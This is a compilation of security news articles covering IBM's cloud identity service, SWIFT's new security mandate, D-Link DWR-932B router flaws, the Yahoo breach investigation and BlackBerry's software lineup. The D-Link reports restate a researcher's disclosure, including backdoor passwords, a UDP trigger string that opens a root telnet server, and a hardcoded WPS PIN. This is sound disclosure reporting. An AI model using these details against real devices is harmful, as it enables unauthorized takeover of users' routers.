Identity and access management-as-a-service, also known as IDaaS or cloud IAM, is becoming the go-to solution for CIOs, CISOs and CTOs struggling to keep up with the rapid advancements and changes in cloud, mobile and social. But because identity and access management (IAM) touches every corner of an organization, adopting cloud IAM is not a decision that these C-level professionals take lightly. Choosing the right IDaaS provider is paramount.

IBM Executive Dishes on IDaaS

The office of the IBM CIO recently made critical decisions around cloud IAM and IDaaS vendors. In the interview below, William Tworek, an executive architect in the office of the IBM CIO, described his team’s decision to adopt cloud IAM and how his team evaluated the various IDaaS providers.

Question: Bill, thank you for being willing to share your experiences in adopting cloud for your IAM environment. Before we jump into that, can you please share with us a bit about your role at IBM?

Tworek: At the time of this effort, my role was essentially as the CTO for IBM’s corporate identity and access services. My job was to update IBM’s approach in the identity arena to help accelerate IBM’s embrace of the cloud, both internally for its employees and externally for its customers and partners.

Can you please share more details about the challenge your team was facing and why it led you to consider cloud-based identity and access management?

As with most companies, our legacy identity services were behind the corporate firewall and based on older authentication techniques and protocols. Such services were also beginning to frustrate both our users and developers. They had become aged in terms of their end user experience, and a bit bureaucratic and process-driven in ways that slowed their adoption.

We quickly realized that to support the cloud, we needed our identity services themselves to move to the cloud. This was the only way we would be able to keep up with the velocity of change that occurs with a shift to the cloud, as well as the typical agile and DevOps practices that come with it.

Once you realized cloud IAM was a good fit for your needs, what selection criteria did you use to judge the various IDaaS vendors?

Once we decided to move to the cloud, our requirements really became those typical for any cloud effort. Speed of delivery and execution, a truly modern and mobile-friendly user experience, self-service adoption for our project teams and state-of-the-art security options were all key focus areas.

Take the Cloud IAM TCO assessment to learn how much could you be saving

Which IDaaS providers were you formally considering? Why did IBM’s very own enterprise-level cloud IAM stand out as the best solution?

We considered all the leading players in the IDaaS industry and performed proof-of-concept efforts/pilots with many of them. Ultimately, what made IBM’s own IDaaS [Cloud Identity Service] stand out was the flexibility that the solution provides around authentication and security policies. Many cloud IAM products could deliver on our general cloud agility requirements, but finding the needed security options was much tougher.

We knew that externalizing our corporate authentication services would only be feasible if we could do much more than just authenticate the user. As identity becomes one of the sole security control points in the cloud, we needed to perform many other analytical and policy-based security checks at the time of auth. We found that only IBM’s Cloud Identity Service provided us with the needed flexibility and extensibility in this area.

Can you please share some immediate results you experienced after deploying Cloud Identity Service?

We went from onboarding less than 100 projects a year with our legacy corporate authentication services to onboarding literally thousands of projects virtually overnight with Cloud Identity Service. Even more, we did this while dramatically improving end user satisfaction and improving the security of our enterprise.

By using Cloud Identity Service, my team could focus purely on automating adoption, implementing the security policies desired and innovating on design-led user experiences — versus needing to worrying about the details of running an identity service.

Next Steps

Congratulations to the office of the IBM CIO for their successful adoption of IDaaS. If you are wondering how cloud-based IAM can reduce your costs and accelerate your business initiatives, visit the Cloud Identity Service website.

Learn more: Read The Ultimate Guide to Calculating the TCO of Cloud and On Premises IAM


Security Intelligence

CSO Online | Sep 29, 2016

In the latest episode of Security Sessions, CSO Editor-in-Chief Joan Goodchild speaks with Michael Bruemmer, vice president at Experian Data Breach Resolution, about a recent survey that said companies are unprepared to stop employee-caused data breaches.


InfoWorld Security

SWIFT wants to improve security for its banking partners and said it will require baseline security controls, but a lack of details in the plan has left experts worried about the effectiveness of implementing the policy.

The SWIFT interbank messaging system has been under fire after high-profile fraud attacks attempted to steal $ 1 billion, but a string of announcements regarding security improvements has created more questions than answers. The latest plan to improve SWIFT security will mandate baseline security controls, with inspections and enforcement beginning Jan. 1, 2018.

However, SWIFT hasn't released the details of the required security controls. Preliminary details will be released in October and undergo a two-month vetting process, with the finalized policy being published by the end of March 2017. This would leave banking partners nine months to implement the SWIFT security-control requirements.

Avivah Litan, vice president and distinguished analyst at Gartner, said she didn't put much faith in these being hard deadlines.

"It's just a line in the sand. It gets the system going -- although, surely, the regulators won't all of a sudden, in January 2018, start inspecting for implementation of the standards that have yet to be publicly released," Litan told SearchSecurity. "Also, the repercussions for a member not self-attesting that it meets the standards are weak, at best. It's not clear anyone will stop doing business with a SWIFT member who has not self-attested -- and, in fact, it's highly doubtful."

Dick Bussiere, APAC technical director for Tenable Network Security, based in Columbia, Md., was impressed with the transparency built into the plan.

"One interesting aspect is that, after Jan. 1, 2018, all member banks will be forced to make their compliance status available to their peers," Bussiere said. "What's good about this is that banks may choose who they do business with, and banks with weak compliance status may find that other banks do not want to do transactions with them. This creates incentive to comply, even if local regulators are weak."

SWIFT Chairman Yawar Shah admitted "this will be a long haul, and [it] will require industrywide effort and investment, as well as active engagement with regulators."

"The growing cyberthreat requires a concerted, communitywide response," Shah wrote in the announcement. "This is also why the SWIFT board unanimously approved the framework and remains fully engaged in overseeing and driving the further development of SWIFT's Customer Security Programme."

Enforcement of the new security-control mandate has also been questioned. SWIFT said customers "will be required to demonstrate their compliance annually against the specified controls set out in the assurance framework." But SWIFT distanced itself from the enforcement by saying, "the status of any noncompliant customers to their regulators."

Litan questioned the efficacy of this type of policy.

"I think it's the best SWIFT can do right now -- although, it is doubtful it will be very effective, especially in emerging markets where regulator enforcement of cybersecurity standards is weak, at best," Litan said. "[Neither] SWIFT, nor the banking system is staffed for this type of enforcement. SWIFT would need considerable funding to staff itself for these types of global cybersecurity audits and enforcement efforts."

Bussiere said leaving enforcement to regulators undermines the point of security-control standards.

"There is an incredible amount of variability in the quality of banking regulatory bodies from country to country. Some regulatory bodies may take strong measures against noncompliant banks, while others may do little to nothing," Bussiere told SearchSecurity. "SWIFT itself should enforce the security regimen and implement strict consequences for noncompliance. This would ensure consistency in both quality of implementation and enforcement."

Tom Kellermann, CEO of Strategic Cyber Ventures, based in Washington, D.C., said it was ridiculous for SWIFT to allow "the cybercriminal community to burrow in for another 15 months."

"I think that SWIFT needs to impose forward-leading cybersecurity mandates upon her ecosystem," Kellermann told SearchSecurity. "Failure to comply should result in penalties, if not banishments. As a lack of diligence, cybersecurity will result in systemic risk in the payment system."

Separately, SWIFT announced the completion of the first phase of its global payments innovation (GPI) initiative pilot to improve cross-border payments. SWIFT said the intent is to increase "the speed, transparency and end-to-end tracking of cross-border payments."

"The GPI initiative will deliver another major innovation with the provision of end-to-end payments tracking," SWIFT wrote. "The payments-tracking service will be hosted in the cloud, based on a global tracking database hosted by SWIFT."

Experts had varying degrees of praise for the improvements in end-to-end payment tracking. Litan was cautious.

"It's a start -- it generates security awareness amongst SWIFT member banks, and that's a good thing," Litan said. "Over time, assuming the hacks against SWIFT messaging continue -- and I assume they will -- SWIFT will have to figure out a more effective security-enforcement system."

Bussiere was more optimistic this change would help improve SWIFT security.

"The logging of transactions on both sides is a great step in improving security," Bussiere said. "In effect, it's a monitoring solution that will greatly increase the chances of detecting fraudulent transactions before they close. This was not possible with the Bangladesh attack."

Next Steps

Learn more about the dedicated cyberintelligence team created to improve SWIFT security.

Find out why banks need to take on IT complexity in order to avoid more regulation.

Get info on why SWIFT execs ignored security-control issues in the lead-up to attacks.


SearchSecurity: Security Wire Daily News

Vulnerabilities, Backdoor Found in D-Link DWR-932B LTE Router

Security researchers have discovered numerous unpatched security vulnerabilities in the D-Link DWR-932B LTE router / access point, including backdoor accounts and default Wi-Fi Protected Setup (WPS) PIN.

The device is being sold in various countries and appears to be customers’ security nightmare because of the numerous security weaknesses. The vulnerabilities were discovered by Pierre Kim, who decided to reveal only the most significant of them, and who says that the issues affect even the latest firmware version released by the vendor.

Earlier this year, Kim disclosed numerous unpatched vulnerabilities affecting the LTE QDH routers made by Quanta, including backdoors, hardcoded PIN, flaws in the web interface, remote code execution issue, and other bugs. The flaws that impact D-Link’s router are similar to those found in Quanta’s device, it seems.

The researcher discovered two backdoor accounts on the device and says that they can be used to bypass the HTTP authentication used to manage the router. There is an “admin” account with password “admin,” as well as a “root” account, with password “1234.” By default, telnetd and SSHd are running on D-Link DWR-932B, yet the latter isn’t documented, the researcher also explains.

Next, there is a backdoor inside the /bin/appmgr program, which allows an attacker to send a specific string in UDP to the router to start an authentication-less telnet server (if a telnetd daemon is not already running). The issue is that the router listens to 0.0.0.0:39889 (UDP) for commands and that it allows access without authentication as root if “HELODBG” is received as command.

D-Link DWR-932B also comes with 28296607 as the default WPS PIN, and has it hardcoded in the /bin/appmgr program. The HostAP configuration contains the PIN as well, and so do the HTTP APIs. What’s more, although the router allows the user to generate a temp PIN for the WPS system, the PIN is weak and uses an algorithm leveraging srand(time(0)) as seed. An attacker knowing the current date as time(0) can generate valid WPS PIN suites and brute-force them, the researcher explains.

Kim also reveals that the file /etc/inadyn-mt.conf contains a user and a hardcoded password, and that the HTTP daemon /bin/qmiweb contains multiple vulnerabilities as well. The router also executes strange, purposeless shell commands as root.

Furthermore, the router supports remote FOTA (Firmware Over The Air) and contains the credentials to contact the server hardcoded in the /sbin/fotad binary, as base64-strings. The researcher discovered that, although the FOTA daemon tries to retrieve the firmware over HTTPS, the SSL certificate has been invalid for one year and a half.

The researcher also reveals that the security level of the UPNP program (miniupnp) in the router is lowered, which allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN. “There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024,” Kim notes.

Because of this lack of permission rules, an attacker can forward everything from the WAN into the LAN, the researcher says. This means that they can set rules to allow traffic from the Internet to local Exchange servers, mail servers, FTP servers, HTTP servers, database servers, and the like.

An attacker can overwrite the router’s firmware with a custom firmware if they wanted to, “but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort,” Kim says. He also notes that, because the device has a sizable memory (168 MB), a decent CPU, and good free space (235 MB), along with complete toolkits installed by default, users should consider trashing it, “because it's trivial for an attacker to use this router as an attack vector.”

D-Link was informed on these issues in June, but the company failed to resolve them until now. Because 90 days have passed since the vulnerabilities were disclosed to the vendor, Kim decided to publish an advisory to reveal these bugs.

This is not the first time D-Link products have made it to the headline due to security vulnerabilities. The company patched a critical flaw in several DIR model routers in August, after a popular D-Link Wi-Fi camera was found in June to be affected by a serious flaw that was subsequently discovered in over 120 D-Link products.

view counter

Ionut Arghire is an international correspondent for SecurityWeek.

Previous Columns by Ionut Arghire:

Tags:


SecurityWeek RSS Feed

Security researcher Pierre Kim has unearthed a bucketload of vulnerabilities affecting the LTE router/portable wireless hotspot D-Link DWR-932. Among these are backdoor accounts, weak default PINs, and hardcoded passwords.

D-Link DWR-932

Kim went searching for them after he previously poked around some Quanta LTE routers and also found a huge number of flaws, and a D-Link DWR-932 user noted that the two router types have many similarities.

In fact, he says that D-Link’s router is based on the Quanta models, and inherited some of the vulnerabilities.

The documented D-Link DWR-932 vulnerabilities affect the latest available firmware. Kim first responsibly disclosed them to the D-Link Security Incident Response Team in June, but after the company said early this month that they don’t have a schedule for a firmware release, he decided to go public with the details about some of the flaws.

In short, the firmware sports:

  • Two backdoor accounts with easy-to-guess passwords that can be used to bypass the HTTP authentication used to manage the router
  • A default, hardcoded Wi-Fi Protected Setup (WPS) PIN, as well as a weak WPS PIN generation algorithm
  • Multiple vulnerabilities in the HTTP daemon
  • Hardcoded remote Firmware Over The Air credentials
  • Lowered security in Universal Plug and Play, and more.

“At best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor,” says Kim, and advises users to stop using the device until adequate fixes are provided.

“As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy, tcpdump …), I advise users to trash their routers because it’s trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie),” he noted.

The router is still being sold and used around the world.


Help Net Security

An investigation conducted into the two Yahoo security incidents disclosed recently revealed the existence of a connection and led researchers to believe that the claim of 200 million accounts being stolen in 2012 is likely false.

In early August, a hacker claimed to possess 200 million Yahoo user accounts stolen from the tech giant back in 2012. The hacker, known online as Peace and peace_of_mind, had offered to sell the data for 3 Bitcoin on a marketplace called TheRealDeal, where he had previously sold hundreds of millions of Tumblr, Myspace, VK and LinkedIn accounts.

Then, earlier this month, Yahoo confirmed that attackers, which the company believes were sponsored by a nation state, breached its systems in 2014 and stole at least 500 million user accounts. Yahoo never confirmed the alleged 2012 incident, although some suggested that the company discovered the 2014 breach while investigating those claims.

Security firm InfoArmor launched an investigation and determined that the vast majority of the 200 million credentials were not associated with Yahoo accounts. Experts believe the data likely comes from multiple third-party leaks and that some of the credentials match only because people reuse passwords. It’s worth noting that some people questioned the validity of the 2012 dump ever since samples of the data were made available.

InfoArmor believes Peace faked the data after having a falling-out with tessa88, another hacker who recently offered to sell hundreds of millions of accounts stolen from various services. According to researchers, tessa88 and Peace exchanged stolen information, until the former was called out over fake and low-quality dumps.

However, evidence uncovered by InfoArmor suggests that there is a link between these cybercriminals and the threat actor that carried out the 2014 attack confirmed by Yahoo.

Researchers believe tessa88 is linked to the real Yahoo hackers through an unidentified actor that played the role of a proxy. This proxy allegedly obtained the Yahoo data from professional black hats in Eastern Europe and provided it to various other actors, including cybercriminals and a state-sponsored party that had been interested in exclusive database acquisitions.

Tessa88 had previously received accounts from the proxy and InfoArmor believes tessa88 and Peace expected to get the Yahoo data as well. However, since that did not happen, Peace created a fake dump and claimed it came from a 2012 breach.

According to the security firm, the 500 million accounts were stolen from Yahoo after the compromised database was divided into hundreds of equal parts. The files, which contained data organized alphabetically, were exfiltrated in segments.

InfoArmor said the actual Yahoo dump is still not available on any cybercrime forums. However, the data has been monetized by some cybercriminals and the company believes it might have also been leveraged in attacks targeting U.S. government personnel.

Yahoo breach aftermath

News of the breach has caused serious problems for Yahoo, just as the company’s core business is about to be acquired by Verizon for $ 4.8 billion. Some believe the incident could impact the deal, but Verizon has yet to comment.

Several class actions have been filed against Yahoo by customers, including people who claim to be directly affected by the breach.

Earlier this week, U.S. Senator Patrick Leahy sent a letter to Yahoo CEO Marissa Mayer asking how such a massive breach could go undetected for two years. Senator Mark Warner has asked the Securities and Exchange Commission (SEC) to determine if the company fulfilled obligations to keep the public and investors informed, as required by law.

Mayer reportedly neglected cybersecurity since she took over the company. According to The New York Times, current and former employees said the CEO focused on functionality and design improvements rather than security.

Alex Stamos, who left his CISO position at Yahoo last year to become Facebook’s CSO, was allegedly denied financial resources for proactive security solutions. Mayer is said to have also rejected a proposal to reset all user passwords fearing that the move would result in more users abandoning its services.

Related: Yahoo Pressed to Explain Huge 'State Sponsored' Hack

Related: Russia? China? Who Hacked Yahoo, and Why?

view counter

Previous Columns by Eduard Kovacs:

Tags:


SecurityWeek RSS Feed

The only surprise in this week's announcement that BlackBerry is getting out of the hardware business is that it took this long. CEO John Chen has been hinting broadly for two years that this would happen, and the parade of unsuccessful Android smartphones that followed the parade of unsuccessful BlackBerry 10 OS smartphones pointed in only one direction: the death of hardware.

But BlackBerry was and is not simply a hardware company. Chen has spent considerable effort to transform it into a software company focused mainly on mobile security tools, but also a little on communications tools. Today, BlackBerry has a grab bag of technologies it's acquired to stake out that software claim.

[ InfoWorld's deep look: Why (and how) you should manage Windows 10 PCs like iPhones. | InfoWorld's Mobile Security Deep Dive: Download it today in your choice of PDF or ePub editions! ]

Here's which ones should matter to you and which ones shouldn't.

Good Secure EMM suites

IT has long known and used BlackBerry Enterprise Server (BES), which was renamed BlackBerry Enterprise Service when it was expanded to support iOS and Android in 2012 through the 2011 acquisition of Ubitexx. BES is now a component in the Good Secure EMM Suites, for which most of its components were obtained through another acquisition: Good Technology, in 2015.

Good is the sole significant survivor of the original, pre-iPhone enterprise mobility management (EMM) providers. Today, newcomers like MobileIron and AirWatch (bought by VMware a few years back) dominate the market, and Microsoft is trying to muscle in with its Enterprise Management Service product suite.

Like MobileIron and AirWatch, Good's suites support iOS, Android, Windows 10, and MacOS for what's called omnidevice management. Good also provides the option of wrapping custom applications with its proprietary APIs via the Good Dynamics tools to add security features not natively supported by the iOS and Android APIs; MobileIron and AirWatch offer similar mobile management extensions. And like MobileIron and AirWatch, the Good suites tie into identity management systems -- an essential connection for users entrusted with sensitive corporate data and workflows on both mobile and desktop devices.

Good has a long history in IT, and it remains a real contender for your EMM platform, especially if you've already invested in its tools.

WatchDox

There's a lot of noise lately around document management on mobile devices. Microsoft has one approach for Office 365, Apple has one for e-books in iOS, and every cloud storage vendor has tools to manage document access across devices.

WatchDox, purchased by BlackBerry in 2015, takes a heavy-handed approach, adding digital rights management to files to ensure they can be read and edited only by authorized users. That makes sense for truly critical documents, but it means your people are restricted to using only WatchDox apps for that content -- which may or may not make sense for specific documents and workflows.

WorkLife

Part of the Good product set BlackBerry acquired, this split-billing component tracks cellular data usage by Good Dynamics apps. Ostensibly, it helps IT manage cellular data costs in BYOD scenarios, but in practice, it does not.

That's because users work with many other off-the-shelf apps that don't call the proprietary Dynamics APIs, so their data usage isn't tracked. Besides, if you provide a fixed reimbursement for work use of BYOD items, there's no need to track cellular data for each person to figure out the relative billing balance.

AtHoc

Based on a 2015 acquisition, the AtHoc platform lets you manage crisis communications, such as sending automated messages to staff and others in case of a natural disaster, an unexpected building closure, a mass shooting, or even a meeting delay. AtHoc has no strong relationship to other BlackBerry services, so any decision around its use need not factor other BlackBerry relationships.

Secure messaging: SecuSmart and BBM Secure

BlackBerry bought SecuSmart in 2014 to offer encryption-secured calls and text messaging for Android and iOS smartphones. This was back when former NSA contractor Edward Snowden revealed the U.S. government was snooping on foreign leaders' calls, and governments started seeking a way to block the NSA.

SecuSmart works only on smartphones. Its text-messaging encryption is tied to a mobile phone number, so tablet-based messaging is protected only if it goes through a protected smartphone, such as if an iPad user is using Handoff to text via his or her iPhone.

BlackBerry also offers BBM Secure, which protects text messages on Android and iOS smartphones via the BlackBerry Messenger app. Its capabilities are similar to those of SecuSmart, and it's unclear why BlackBerry offers both options.

Again, note the limitation to smartphones. If you want to secure text messaging across all user devices, look elsewhere.

BlackBerry Messenger

Available for Android and iOS devices for several years now, BBM sought to take advantage of the popularity of the BlackBerry phone's beloved messaging service. It works OK, but if you have multiple devices, it's a pain to use because only one device can be active at a time -- not a restriction on the many other messaging apps available today. Plus, there's no desktop client.

If your concern is privacy, I'd go with Snowden's recommended Signal app instead, from Open Whisper Systems. If you want a great messaging app across all popular devices with good support for voice, text, and video, Signal fits the bill nicely, too.

Dtek for Android

Available for a small number of Android devices, Dtek lets users see what data various apps are monitoring and manage the permissions for each app. That sounds great, until you realize Android Marshmallow (and Nougat) does that natively, with no app needed. In iOS, of course, Apple has long provided this visibility and the controls over apps' use of your data.

BlackBerry Hub for Android

One of the few features in the BlackBerry 10 OS that users liked, the Hub is a central communications zone so that you don't have to switch among apps to handle your various communications channels. I found it overwhelming, but many others really like the Hub.

It's available for Android Marshmallow and later devices; an iOS version is supposedly in the works. BlackBerry Hub is certainly worth a try if you like the idea of a communications hub on your mobile device.

Miscellaneous Android apps

BlackBerry has made some features from its Priv and Dtek Android phones available to other Android devices (not to iOS). If you're the kind of person who likes to use a third-party app rather than the native clients, check them out at the Google Play Store (search for "BlackBerry").

In addition to the Dtek, BBM, and Hub apps already mentioned, the apps compatible with many Android devices include BlackBerry Contacts, BlackBerry Calendar, Tasks by BlackBerry, Notes by BlackBerry, BlackBerry Password Keeper, and BlackBerry Device Search.

Your guess is good as mine as to how long BlackBerry will continue to develop and support these apps.


InfoWorld Security